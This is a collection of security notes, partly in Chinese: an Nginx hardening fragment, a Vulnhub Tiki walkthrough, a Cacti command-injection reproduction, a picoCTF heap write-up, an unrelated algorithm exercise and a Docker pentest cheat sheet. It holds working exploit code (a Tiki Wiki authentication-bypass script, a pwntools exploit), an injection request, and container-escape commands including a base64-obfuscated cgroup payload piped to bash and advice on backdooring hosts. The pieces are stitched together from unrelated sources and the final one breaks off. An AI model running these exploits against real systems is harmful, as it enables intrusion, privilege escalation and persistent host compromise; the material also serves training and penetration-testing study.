命令执行后权限不能过高 Php-fpm账户不要用root或者加入root组。 ## 0x06 Nginx安全配置方案 1. 修改网站目录所有者为非php-fpm运行账户,此处修改所有者为root。 命令:`chown -R root:root html/` ![](../pictures/nginxconf1.jpg) 2. 修改nginx及php-fpm的运行账户及组为nobody nginx.conf ![](../pictures/nginxconf2.jpg) Php-fpm.conf ![](../pictures/nginxconf3.jpg) 3. 取消nobody对所有目录的的读取权限,然后添加对网站目录的读取权限 命令: ``` chmod o-r –R / chmod o+r –R html/ ``` 4. 取消nobody对于/bin/sh 的执行权限 `chmod 776 /bin/sh` 5. 确认网站目录对于nobody的权限为可读可执行,对网站文件的权限为可读 6. 对于上传目录或者写入写文件的目录添加nobody的写入权限 7. 配置nginx.conf 对于上传目录无php的执行权限 8. 配置nginx.conf禁止访问的文件夹,如后台,或者限制访问ip 9. 配置nginx.conf禁止访问的文件类型,如一些txt日志文件
sec-knowleage
# Tiki-1 > https://download.vulnhub.com/tiki/Tiki.ova 靶场IP:`192.168.32.219` 扫描对外端口服务 ``` ┌──(root💀kali)-[~] └─# nmap -p 1-65535 -sV 192.168.32.219 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-10 08:28 EDT Nmap scan report for 192.168.32.219 Host is up (0.00083s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 MAC Address: 00:0C:29:26:C8:DB (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds ``` 访问80端口 ![image-20220910202946822](../../.gitbook/assets/image-20220910202946822.png) 爆破目录 ``` ┌──(root💀kali)-[~] └─# gobuster dir -w /usr/share/wordlists/dirb/common.txt -x .txt -u http://192.168.32.219 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.32.219 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt [+] Timeout: 10s =============================================================== 2022/09/10 08:36:24 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 279] /.htaccess (Status: 403) [Size: 279] /.hta.txt (Status: 403) [Size: 279] /.htaccess.txt (Status: 403) [Size: 279] /.htpasswd (Status: 403) [Size: 279] /.htpasswd.txt (Status: 403) [Size: 279] /index.html (Status: 200) [Size: 10918] /robots.txt (Status: 200) [Size: 42] /robots.txt (Status: 200) [Size: 42] /server-status (Status: 403) [Size: 279] /tiki (Status: 301) [Size: 315] [--> http://192.168.32.219/tiki/] =============================================================== 2022/09/10 08:36:26 Finished =============================================================== ``` 访问:`http://192.168.32.219/tiki/tiki-index.php` ![image-20220910203837568](../../.gitbook/assets/image-20220910203837568.png) 查看共享目录 ``` ┌──(root💀kali)-[~] └─# smbclient -L //192.168.32.219 Password for [WODGROUP\root]: Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers Notes Disk My Notes IPC$ IPC IPC Service (ubuntu server (Samba, Ubuntu)) SMB1 disabled -- no workgroup available ``` 下载:`Mail.txt` ``` ┌──(root💀kali)-[~] └─# smbclient //192.168.32.219/Notes Password for [WODGROUP\root]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Jul 29 09:52:09 2020 .. D 0 Thu Jul 30 15:32:11 2020 Mail.txt N 244 Wed Jul 29 09:52:05 2020 19992176 blocks of size 1024. 9775788 blocks available smb: \> get Mail.txt getting file \Mail.txt of size 244 as Mail.txt (15.9 KiloBytes/sec) (average 15.9 KiloBytes/sec) ``` ``` ┌──(root💀kali)-[~] └─# cat Mail.txt 1 ⨯ Hi Silky because of a current Breach we had to change all Passwords, please note that it was a 0day, we don't know how he made it. Your new CMS-password is now 51lky571k1, please investigate how he made it into our Admin Panel. Cheers Boss. ``` 使用`Silky/51lky571k1`登录blog ![image-20220910205341628](../../.gitbook/assets/image-20220910205341628.png) 找到版本2,有个CVE漏洞 ![image-20220910205643482](../../.gitbook/assets/image-20220910205643482.png) CVE:`https://github.com/S1lkys/CVE-2020-15906` Tiki Wiki CMS 中存在管理员身份验证绕过漏洞。POC 视频可以在上面的同一 GitHub 页面上找到。我按照这些步骤操作,并且能够获得对 CMS 服务器的管理员访问权限。 ``` # Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass # Date: 01.08.2020 (1st August 2020) # Exploit Author: Maximilian Barz aka. Silky # Vendor Homepage: tiki.org # Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip # Version: 21.1 # Tested on: Kali Linux 5.7.0-kali1-amd64 #!/usr/bin/env/python3 import requests import json import lxml.html import sys banner = ''' ████████ ██ ██  ██ ██ ██  ██ ██ ██  ██ ██  ██████  ██  ██     ██    ██ ██  ██  ██ ██  ██ ██ ██  ██  ██       ██ ███  ███  ██  ██ █████   ██ ██  █  ██ ██ █████   ██  █████   ██   ██  ██  ██ ██  ██  ██ ██ ███ ██ ██ ██  ██  ██  ██      ██  ██  ██  ██ ██  ██ ██  ███ ███  ██ ██  ██ ██  ███████  ██ ██ ██  █████  ██  ██ ████████ ██  ██ ███████ ███  ██ ████████ ██  ██████  █████  ████████ ██  ██████  ███  ██  ██████  ██  ██ ██████  █████  ███████ ███████  ██   ██ ██  ██    ██    ██  ██ ██      ████  ██    ██    ██ ██      ██   ██    ██    ██ ██    ██ ████  ██  ██   ██  ██  ██  ██   ██ ██   ██ ██      ██       ███████ ██  ██  ██  ███████ █████  ██ ██  ██  ██  ██ ██  ███████  ██  ██ ██  ██ ██ ██  ██  ██████    ████   ██████  ███████ ███████ ███████  ██   ██ ██  ██  ██  ██   ██ ██     ██  ██ ██  ██  ██ ██  ██   ██  ██  ██ ██  ██ ██  ██ ██  ██   ██   ██   ██      ██   ██      ██      ██  ██  ██  ██████   ██  ██  ██ ███████ ██   ████  ██  ██  ██████ ██  ██  ██  ██  ██████  ██   ████   ██████   ██  ██  ██  ██ ███████ ███████  Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337 ''' def main(): if(len(sys.argv) < 2): print(banner) print("Usage: %s <host> " % sys.argv[0]) print("Eg: %s 1.2.3.4 " % sys.argv[0]) return rhost = sys.argv[1] url = "http://"+rhost+"/tiki/tiki-login.php" session = requests.Session() def get_ticket(): r = requests.get(url) login_page = r.text.encode('utf-8') html = lxml.html.fromstring(login_page) auth = html.xpath('//input[@name="ticket"]/@value') return str(auth)[2:-2] def get_cookie(): session.get(url) return session.cookies.get_dict() cookie = get_cookie() ticket = get_ticket() payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'} headers = { 'Host': rhost, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzrhost, deflate', 'Referer': 'http://'+rhost+'/tiki/tiki-login.php', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '125', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0', } for i in range(60): r = session.post(url, payload, headers) if("Account requires administrator approval." in r.text): print("Admin Password got removed.") print("Use BurpSuite to login into admin without a password ") if(__name__ == '__main__'): main() ``` ![image-20220910210132345](../../.gitbook/assets/image-20220910210132345.png) > 该漏洞是攻击者能够暴力破解 Tiki Wiki 管理员帐户,直到它在 50 次无效登录尝试后被锁定。然后,他们可以使用空密码来验证管理员身份并获得完整的帐户访问权限。 > > 该网页不允许您将密码字段留空,但 Burpsuite 很好,所以这就是它的来源。然后您可以在浏览器中显示响应,我们以管理员身份登录。 ![image-20220910210835837](../../.gitbook/assets/image-20220910210835837.png) 找到一个凭据:`silky:Agy8Y7SPJNXQzqA` ![image-20220910210943299](../../.gitbook/assets/image-20220910210943299.png) ssh登录 ``` ┌──(root💀kali)-[/tmp] └─# ssh silky@192.168.32.219 The authenticity of host '192.168.32.219 (192.168.32.219)' can't be established. ECDSA key fingerprint is SHA256:ApBZdsEv9OD5yRa5A+VVFRKVtbxaYr9uOaoHXDfOOtQ. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.32.219' (ECDSA) to the list of known hosts. silky@192.168.32.219's password: Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-42-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 1 Aktualisierung kann sofort installiert werden. 0 dieser Aktualisierung sind Sicherheitsaktualisierungen. Um zu sehen, wie diese zusätzlichen Updates ausgeführt werden: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Your Hardware Enablement Stack (HWE) is supported until April 2025. Last login: Fri Jul 31 09:50:24 2020 from 192.168.56.1 silky@ubuntu:~$ id uid=1000(silky) gid=1000(silky) Gruppen=1000(silky),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare) ``` 提权成功。 ![image-20230208160807990](../../.gitbook/assets/image-20230208160807990.png)
sec-knowleage
# Cacti Unauthenticated Command Injection (CVE-2022-46169) [中文版本(Chinese version)](README.zh-cn.md) Cacti is a robust and extensible operational monitoring and fault management framework for users around the world. A command injection vulnerability allows an unauthenticated user to execute arbitrary code on a server running Cacti prior from version 1.2.17 to 1.2.22, if a specific data source was selected for any monitored device. References: - <https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf> - <https://mp.weixin.qq.com/s/6crwl8ggMkiHdeTtTApv3A> ## Vulnerability Environment Execute following command to start a Cacti server 1.2.22: ``` docker compose up -d ``` After the server is started, you will see the login page at `http://localhost:8080`. Then login as admin/admin, follow the instructions to initialize the application. Actually, just click the "next button" again and again before you see the success page. ![](1.png) Before you can exploit this vulnerability, you have to add a new "Graph" because the command injection is occurred not in the default graph type: ![](2.png) Select the graph type "Device - Uptime", and click the "Create" button: ![](3.png) ## Exploit After complete the above initialization, you will change your role to a attacker. Just send following request to Cacti server to trigger the command injection attack: ``` GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1 X-Forwarded-For: 127.0.0.1 Host: localhost.lan User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 ``` ![](4.png) Although no command result in the response, you can find the `/tmp/success` has been touched successfully. ![](5.png)
sec-knowleage
# are you root? Binary Exploitation, 550 points ## Description: > Can you get root access through this service and get the flag? ```c #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> typedef enum auth_level { ANONYMOUS = 1, GUEST = 2, USER = 3, ADMIN = 4, ROOT = 5 } auth_level_t; struct user { char *name; auth_level_t level; }; void give_flag(){ char flag[48]; FILE *f = fopen("flag.txt", "r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } if ((fgets(flag, 48, f)) == NULL){ puts("Couldn't read flag file."); exit(1); }; puts(flag); fclose(f); } void menu(){ puts("Available commands:"); puts("\tshow - show your current user and authorization level"); puts("\tlogin [name] - log in as [name]"); puts("\tset-auth [level] - set your authorization level (must be below 5)"); puts("\tget-flag - print the flag (requires authorization level 5)"); puts("\treset - log out and reset authorization level"); puts("\tquit - exit the program"); } int main(int argc, char **argv){ char buf[512]; char *arg; uint32_t level; struct user *user; setbuf(stdout, NULL); menu(); user = NULL; while(1){ puts("\nEnter your command:"); putchar('>'); putchar(' '); if(fgets(buf, 512, stdin) == NULL) break; if (!strncmp(buf, "show", 4)){ if(user == NULL){ puts("Not logged in."); }else{ printf("Logged in as %s [%u]\n", user->name, user->level); } }else if (!strncmp(buf, "login", 5)){ if (user != NULL){ puts("Already logged in. Reset first."); continue; } arg = strtok(&buf[6], "\n"); if (arg == NULL){ puts("Invalid command"); continue; } user = (struct user *)malloc(sizeof(struct user)); if (user == NULL) { puts("malloc() returned NULL. Out of Memory\n"); exit(-1); } user->name = strdup(arg); printf("Logged in as \"%s\"\n", arg); }else if(!strncmp(buf, "set-auth", 8)){ if(user == NULL){ puts("Login first."); continue; } arg = strtok(&buf[9], "\n"); if (arg == NULL){ puts("Invalid command"); continue; } level = strtoul(arg, NULL, 10); if (level >= 5){ puts("Can only set authorization level below 5"); continue; } user->level = level; printf("Set authorization level to \"%u\"\n", level); }else if(!strncmp(buf, "get-flag", 8)){ if (user == NULL){ puts("Login first!"); continue; } if (user->level != 5){ puts("Must have authorization level 5."); continue; } give_flag(); }else if(!strncmp(buf, "reset", 5)){ if (user == NULL){ puts("Not logged in!"); continue; } free(user->name); user = NULL; puts("Logged out!"); }else if(!strncmp(buf, "quit", 4)){ return 0; }else{ puts("Invalid option"); menu(); } } } ``` ## Solution: We need to login as root (i.e. auth-level 5) in order to be able to read the flag. However, setting authorization level to level 5 is not allowed. Instead, we will use a "use without initialization" vulnerability to trick the program into thinking we are authorized. Let's take a look at the heap usage across the program: During login, we have two allocations: * `user = (struct user *)malloc(sizeof(struct user));` * `user->name = strdup(arg);` During reset, we have just one free: * `free(user->name);` Another important fact is the the authorization level is only set using the "set-auth" command, meaning that when a user logs in, the value in his "level" member of the user struct is uninitialized: ```c struct user { char *name; auth_level_t level; }; ``` The executable is 64-bit, and therefore the `user` struct is 16 bytes. This can also be confirmed from the disassembly: ```assembly 0x00400c07 bf10000000 mov edi, 0x10 ; 16 0x00400c0c e83ffcffff call sym.imp.malloc ; void *malloc(size_t size) ``` Now, if we create a user with a 16-byte-long username, logout, and create another user, most chances are that the heap manager will reallocate the username buffer for the new user struct - since they both have the same size. The chances are even higher since the old user struct (also of size 16) doesn't get freed, as seen earlier. So if we create a user with a specially crafted username, the content of the username might be reused as a user struct later on. ``` 1. Allocate user with name "aaaaaaaa\x05\x00\x00\x00\x00\x00\x00\x00" struct user username +----------+ +----------+ username: | pointer |---------------->| aaaaaaaa | +----------+ +----------+ level: | 0x0 | + 0x5 | +----------+ +----------+ 2. Free user struct user - memory leak Free memory +----------+ +----------+ username: | pointer | --------------->| aaaaaaaa | +----------+ +----------+ level: | 0x0 | + 0x5 | +----------+ +----------+ 3. Allocate user with name "A" struct user - memory leak New user New name +----------+ +----------+ +----------+ username: | pointer | ---> username: | aaaaaaaa |--------------->| A | +----------+ +----------+ +----------+ level: | 0x0 | level: + 0x5 | +----------+ +----------+ ``` The original user struct still points to the original name, but that doesn't really matter anymore. Another important note is that the program uses `fgets` to read the input, so we can send `'\0'` NULL characters and they will be read into the input buffer. It also helps that the program decides where the user argument has ended by searching for a linefeed (`strtok(&buf[6], "\n")`) and not for a NULL terminator. The script: ```python from pwn import * REQUESTED_ACCESS_LEVEL = 5 r = remote("2018shell3.picoctf.com", 29508) def send_command(command): r.recvuntil("> ") r.sendline(command) return r.recvline() def show(): return send_command("show") def login(name): log.info("Logging in as {} ({})".format(name, enhex(name))) return send_command("login " + name) def set_auth(auth): return send_command("set-auth " + str(auth)) def get_flag(): return send_command("get-flag") def reset(): log.info("Performing reset") return send_command("reset") def quit(): return send_command("quit") login("a"*8 + p64(REQUESTED_ACCESS_LEVEL)) reset() login("A") s = show() log.info("Login info: {}".format(s)) if "[{}]".format(REQUESTED_ACCESS_LEVEL) in s: log.success("Flag: {}".format(get_flag())) ``` The output: ```console root@kali:/media/sf_CTFs/pico/are_you_root# python exploit.py [+] Opening connection to 2018shell3.picoctf.com on port 29508: Done [*] Logging in as aaaaaaaa\x05\x00\x00\x00\x00\x00\x00\x00 (61616161616161610500000000000000) [*] Performing reset [*] Logging in as A (41) [*] Login info: Logged in as A [5] [+] Flag: picoCTF{m3sS1nG_w1tH_tH3_h43p_a5e65af1} [*] Closed connection to 2018shell3.picoctf.com port 29508 ``` The flag: picoCTF{m3sS1nG_w1tH_tH3_h43p_a5e65af1}
sec-knowleage
# 3. 数组中重复的数字 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/6fe361ede7e54db1b84adc81d09d8524?tpId=13&tqId=11203&tab=answerKey&from=cyc_github) ## 题目描述 在一个长度为 n 的数组里的所有数字都在 0 到 n-1 的范围内。数组中某些数字是重复的,但不知道有几个数字是重复的,也不知道每个数字重复几次。请找出数组中任意一个重复的数字。 ```html Input: {2, 3, 1, 0, 2, 5} Output: 2 ``` ## 解题思路 要求时间复杂度 O(N),空间复杂度 O(1)。因此不能使用排序的方法,也不能使用额外的标记数组。 对于这种数组元素在 [0, n-1] 范围内的问题,可以将值为 i 的元素调整到第 i 个位置上进行求解。在调整过程中,如果第 i 位置上已经有一个值为 i 的元素,就可以知道 i 值重复。 以 (2, 3, 1, 0, 2, 5) 为例,遍历到位置 4 时,该位置上的数为 2,但是第 2 个位置上已经有一个 2 的值了,因此可以知道 2 重复: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/643b6f18-f933-4ac5-aa7a-e304dbd7fe49.gif" width="350px"> </div><br> ```java public int duplicate(int[] nums) { for (int i = 0; i < nums.length; i++) { while (nums[i] != i) { if (nums[i] == nums[nums[i]]) { return nums[i]; } swap(nums, i, nums[i]); } swap(nums, i, nums[i]); } return -1; } private void swap(int[] nums, int i, int j) { int t = nums[i]; nums[i] = nums[j]; nums[j] = t; } ```
sec-knowleage
# Container - Docker Pentest > Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers. ## Summary - [Tools](#tools) - [Mounted Docker Socket](#mounted-docker-socket) - [Open Docker API Port](#open-docker-api-port) - [Insecure Docker Registry](#insecure-docker-registry) - [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1) - [Abusing CAP_SYS_ADMIN capability](#abusing-capsysadmin-capability) - [Abusing coredumps and core_pattern](#abusing-coredumps-and-corepattern) - [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc) - [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file) - [References](#references) ## Tools * [Dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations ```powershell dockscan unix:///var/run/docker.sock dockscan -r html -o myreport -v tcp://example.com:5422 ``` * [DeepCe](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE) ```powershell ./deepce.sh ./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce ./deepce.sh --no-enumeration --exploit SOCK --shadow ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked" ``` ## Mounted Docker Socket Prerequisite: * Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"` Usually found in `/var/run/docker.sock`, for example for Portainer. ```powershell curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start ``` Exploit using [brompwnie/ed](https://github.com/brompwnie/ed) ```powershell root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true [+] Hunt dem Socks [+] Hunting Down UNIX Domain Sockets from: /var/run/ [*] Valid Socket: /var/run/docker.sock [+] Attempting to autopwn [+] Hunting Docker Socks [+] Attempting to Autopwn: /var/run/docker.sock [*] Getting Docker client... [*] Successfully got Docker client... [+] Attempting to escape to host... [+] Attempting in TTY Mode chroot /host && clear echo 'You are now on the underlying host' chroot /host && clear echo 'You are now on the underlying host' / # chroot /host && clear / # echo 'You are now on the underlying host' You are now on the underlying host / # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) ``` ## Open Docker API Port Prerequisite: * Docker runned with `-H tcp://0.0.0.0:XXXX` ```powershell $ nmap -sCV 10.10.10.10 -p 2376 2376/tcp open docker Docker 19.03.5 | docker-version: | Version: 19.03.5 | MinAPIVersion: 1.12 ``` Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`. ```powershell $ export DOCKER_HOST=tcp://10.10.10.10:2376 $ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash or $ docker -H open.docker.socket:2375 ps $ docker -H open.docker.socket:2375 exec -it mysql /bin/bash or $ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq $ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' ``` From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`. ## Insecure Docker Registry Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`. ```powershell curl https://registry.example.com/v2/<image_name>/tags/list docker pull https://registry.example.com:443/<image_name>:<tag> # connect to the endpoint and list image blobs curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest # download blobs curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz # automated download https://github.com/NotSoSecure/docker_fetch/ python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local ``` Access a private registry and start a container with one of its image ```powershell docker login -u admin -p admin docker.registry.local docker pull docker.registry.local/wordpress-image docker run -it docker.registry.local/wordpress-image /bin/bash ``` Access a private registry using OAuth Token from Google ```powershell curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io ``` ## Exploit privileged container abusing the Linux cgroup v1 Prerequisite (at least one): * `--privileged` * `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags. ### Abusing CAP_SYS_ADMIN capability ```powershell docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -' ``` Exploit breakdown : ```powershell # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash # In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` ### Abusing coredumps and core_pattern 1. Find the mounting point using `mount` ```ps1 $ mount | head -n 1 overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YLH6C6EQMMG7DA2AL5DUANDHYJ:/var/lib/docker/overlay2/l/HP7XLDFT4ERSCYVHJ2WMZBG2YT,upperdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff,workdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/work) ``` 2. Create an evil binary at the root of the filesystem: `cp /tmp/poc /poc` 3. Set the program to be executed on the coredumps ```ps1 echo "|/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff/poc" > /proc/sys/kernel/core_pattern ``` 4. Generate a coredump with a faulty program: `gcc -o crash crash.c && ./crash` ```cpp int main(void) { char buf[1]; for (int i = 0; i < 100; i++) { buf[i] = 1; } return 0; } ``` 5. Your payload should have been executed on the host ## Breaking out of Docker via runC > The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736 ```powershell $ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC $ docker run --rm cve-2019-5736:malicious_image_POC ``` ## Breaking out of containers using a device file ```powershell https://github.com/FSecureLABS/fdpasser In container, as root: ./fdpasser recv /moo /etc/shadow Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo Outside container: ls -la /etc/shadow Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow ``` ## Breaking out of Docker via kernel modules loading > When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape. Exploitation: * Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping` * Build with `make` * Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu` * `cd /root` in the new container * Insert the kernel module with `./escape` * Run `./execute`! Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`. * `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html). * `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to. The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c <INPUT> > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container. Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one). The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile. ## References - [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/) - [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) - [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0) - [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 